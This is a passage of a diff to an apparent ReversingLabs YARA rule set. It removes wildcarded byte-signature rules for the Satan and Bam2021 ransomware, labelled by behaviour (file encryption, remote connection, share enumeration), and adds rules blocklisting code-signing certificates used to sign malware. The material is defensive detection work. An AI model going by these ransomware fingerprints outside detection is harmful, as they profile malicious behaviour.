"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Satan.yara#L1-L152" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12066-L12082" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0074090c2a6cc483deffdc83dc1c0bfbd150e201c27e54f998dd2c0a7660f917" + logic_hash = "4aabe3beab0055b6ef8f6114c5236940f5693b44e94efd14132b450bb9232c03" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Satan" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 - C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 6A ?? - 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF D3 8B 3D ?? ?? ?? ?? 6A ?? 56 FF D7 8D 45 ?? 50 - 8D 45 ?? 50 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 89 85 ?? ?? ?? - ?? FF D3 8B 9D ?? ?? ?? ?? 6A ?? 53 FF D7 68 ?? ?? ?? ?? 33 FF E8 ?? ?? ?? ?? 83 C4 - ?? 8B F0 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 39 7D ?? 76 ?? 68 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 6A ?? 51 50 - 56 FF B5 ?? ?? ?? ?? 03 F8 FF 15 ?? ?? ?? ?? 39 7D ?? 77 ?? 8B 85 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? 53 FF D6 FF B5 ?? - ?? ?? ?? FF D6 FF B5 ?? ?? ?? ?? FF D6 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 - 5D C3 - } - $search_processes = { - 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 51 50 - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 0F 1F - 44 00 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 8B 4C B5 ?? - 8D 85 ?? ?? ?? ?? 0F 1F 44 00 ?? 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 - ?? 83 C1 ?? 83 C0 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? FF B5 ?? ?? - ?? ?? 50 68 ?? ?? ?? ?? FF D7 6A ?? 50 FF D3 46 83 FE ?? 76 ?? 8D 85 ?? ?? ?? ?? 50 - FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B - E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? - ?? ?? 31 45 ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 4D - ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 83 CB ?? 89 - 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 F6 89 75 ?? 89 75 ?? 56 68 ?? ?? - ?? ?? 6A ?? 56 6A ?? 6A ?? 51 8B 3D ?? ?? ?? ?? FF D7 89 45 ?? 3B C3 0F 84 ?? ?? ?? - ?? 56 68 ?? ?? ?? ?? 6A ?? 56 6A ?? 6A ?? FF 75 ?? FF D7 8B D8 89 5D ?? 83 FB ?? 0F - 84 ?? ?? ?? ?? 8B 7D ?? 8B 07 85 C0 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 56 56 68 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF - 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? - FF 75 ?? 68 ?? ?? ?? ?? FF 37 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 32 C0 89 45 ?? 88 - 45 ?? 33 FF 89 7D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 FF 75 - ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 0F B6 C0 81 7D ?? ?? ?? ?? ?? - B9 ?? ?? ?? ?? 0F 42 C1 89 45 ?? 88 45 ?? 68 ?? ?? ?? ?? 8D 4D ?? 51 56 6A ?? 0F B6 - C0 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 85 FF 75 ?? 57 8D 45 ?? 50 68 ?? - ?? ?? ?? FF 35 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 47 89 7D ?? 8B 45 ?? 84 C0 0F 84 ?? ?? ?? ?? 80 7D ?? ?? - 74 ?? 83 05 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 ?? - 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $search_files_in_specific_folders_p1 = { - 51 8D 85 ?? ?? ?? ?? 8B CE 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 8B F0 F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? - ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? - 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 FF - } - $search_files_in_specific_folders_p2 = { - 75 ?? FF 75 ?? 8D 55 ?? 8B CB 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 - F6 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 FF ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 8D 55 ?? 8B - CB 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 85 ?? ?? ?? ?? E9 ?? - ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 - 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D - 4D ?? E8 ?? ?? ?? ?? 6A ?? 40 8D 4D ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 - 8D 45 ?? 3B C6 74 ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 - C4 ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - EC ?? C6 45 ?? ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 - EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 - 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 84 - C0 8D 8D ?? ?? ?? ?? 0F 94 C3 EB ?? 83 FF ?? 75 ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D - 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8A D8 - } - $search_files_in_specific_folders_p3 = { - 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 DB 8B 9D ?? ?? ?? ?? 74 ?? 8D 45 ?? - 8B CB 50 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 - ?? 33 F6 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF B5 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? - E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? - ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? - ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C7 45 - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? - ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $search_processes and ( all of ( $search_files_in_specific_folders_p* ) ) and $encrypt_files and $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REI LUX UK LIMITED" and pe.signatures [ i ] . serial == "02:18:eb:fd:5a:9b:fd:55:d2:f6:61:f0:d1:8d:1d:71" and 1608508800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Bam2021 : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_35590Ebe4A02Dc23317D8Ce47A947A9B : INFO FILE { meta: - description = "Yara rule that detects Bam2021 ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "31ae99e3-223c-51fb-97c1-353ff063057f" - date = "2021-09-17" - modified = "2021-09-17" + id = "2f72a686-c30c-572d-a78c-03747ac325b6" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Bam2021.yara#L1-L167" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12084-L12100" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5b717510991b78f07806e88f3dfe1c27d6ec1ec21af61a7c4f1edf7c915785d5" + logic_hash = "2d4bc88943cdc8af00effab745e64e60ef662c668a0b2193c256d11831ef1554" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Bam2021" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_shares = { - 83 EC ?? 53 55 8B 2D ?? ?? ?? ?? 56 57 68 ?? ?? ?? ?? FF D5 8B 74 24 ?? 6A ?? 56 C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 - ?? 8D 44 24 ?? 50 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 89 06 33 C0 5F 5E - 5D 5B 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 85 - FF 75 ?? 89 06 8B 44 24 ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8D 4C 24 - ?? 51 57 8D 54 24 ?? 52 50 E8 ?? ?? ?? ?? 8B F0 85 F6 0F 85 ?? ?? ?? ?? 33 DB 39 5C - 24 ?? 76 ?? 8D 77 ?? 90 33 C0 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 - 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 8B 06 50 C7 44 24 ?? ?? ?? ?? ?? 89 44 24 - ?? FF D5 6A ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 3E E8 ?? ?? - ?? ?? 8B 7C 24 ?? 8B 54 24 ?? 6A ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 46 ?? 83 E0 ?? 3C ?? - 75 ?? 8B 4C 24 ?? 8B 44 24 ?? 51 8D 56 ?? 52 50 E8 ?? ?? ?? ?? 43 83 C6 ?? 3B 5C 24 - ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 74 ?? 56 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 31 57 FF 15 ?? ?? ?? ?? 8B 54 24 ?? 52 E8 ?? ?? ?? - ?? 8B F0 85 F6 74 ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 89 30 33 - C0 5F 5E 5D 5B 83 C4 ?? C2 - } - $find_files_p1 = { - 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 - ?? 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? EB ?? 8D A4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 84 24 - ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 ?? 66 3B D5 74 ?? 66 8B 50 ?? 66 3B 51 - ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D5 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C5 0F 84 ?? - ?? ?? ?? B9 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 90 66 8B 10 66 3B 11 75 ?? 66 3B D5 74 - ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D5 75 ?? 33 C0 EB ?? 1B C0 - 83 D8 ?? 3B C5 0F 84 ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8C 24 - ?? ?? ?? ?? 51 BB ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 9C 24 ?? ?? - ?? ?? 8D 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 55 8D 8C 24 - ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? 8B 54 24 ?? - 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 66 89 44 24 ?? 72 ?? 8B 4C 24 ?? 51 E8 ?? ?? ?? ?? - 83 C4 ?? 8B 54 24 ?? 8B 44 24 ?? 42 3B C2 77 ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 - ?? 8B 4C 24 ?? 8B 54 24 ?? 8D 34 0A 3B C6 77 ?? 2B F0 8B 44 24 ?? 39 2C B0 75 ?? 6A - ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 04 B1 8B 54 24 ?? 8B 0C B2 89 4C 24 ?? 89 - } - $find_files_p2 = { - 4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? 3B CD 74 ?? 33 C0 C7 41 ?? ?? ?? ?? ?? 89 69 ?? 6A - ?? 66 89 41 ?? 55 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF 44 - 24 ?? E9 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 73 ?? 8D 84 24 ?? - ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 50 68 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 47 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? - ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 16 52 8D 84 24 ?? - ?? ?? ?? 50 FF D3 85 C0 75 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? E9 ?? ?? ?? ?? 57 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C0 ?? 8D 94 24 ?? ?? ?? ?? 2B D0 0F - B7 08 66 89 0C 02 83 C0 ?? 66 3B CD 75 ?? 33 C0 EB ?? 8D A4 24 ?? ?? ?? ?? 8D 49 ?? - 0F B7 8C 04 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 C0 ?? 66 3B CD 75 ?? 33 C0 8D 9B - ?? ?? ?? ?? 0F B7 88 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 C0 ?? 66 3B CD 75 ?? 8B - 5C 24 ?? 6A ?? B9 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 8D 8C - 24 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 - } - $encrypt_files_p1 = { - 55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? - ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ?? - ?? ?? 64 A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 DB 3B C3 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 - 83 C4 ?? 3B F3 74 ?? 68 ?? ?? ?? ?? 8D 46 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 - EB ?? 33 C0 A3 ?? ?? ?? ?? 8D 4C 24 ?? 51 8B F8 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 - 24 ?? ?? ?? ?? 33 D2 53 89 9C 24 ?? ?? ?? ?? 50 66 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 33 C0 53 51 66 89 84 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 33 D2 53 50 66 89 54 - 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 ?? 83 C4 ?? 50 89 5C 24 ?? 89 44 24 ?? E8 ?? - ?? ?? ?? 53 53 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? 8B - } - $encrypt_files_p2 = { - F4 33 C9 8D 84 24 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 89 5E ?? 89 64 24 ?? 66 89 4E ?? - 8D 50 ?? 90 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 94 24 ?? ?? ?? ?? 52 53 FF 15 ?? ?? ?? ?? - 85 C0 74 ?? 83 EC ?? 8B F4 33 C0 C7 46 ?? ?? ?? ?? ?? 89 5E ?? 66 89 46 ?? 8D 84 24 - ?? ?? ?? ?? 89 64 24 ?? 8D 50 ?? EB ?? 8D 49 ?? 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B - C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 8C 24 - ?? ?? ?? ?? 51 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? 8B F4 33 D2 C7 46 ?? ?? ?? - ?? ?? 89 5E ?? 8D 84 24 ?? ?? ?? ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? EB ?? 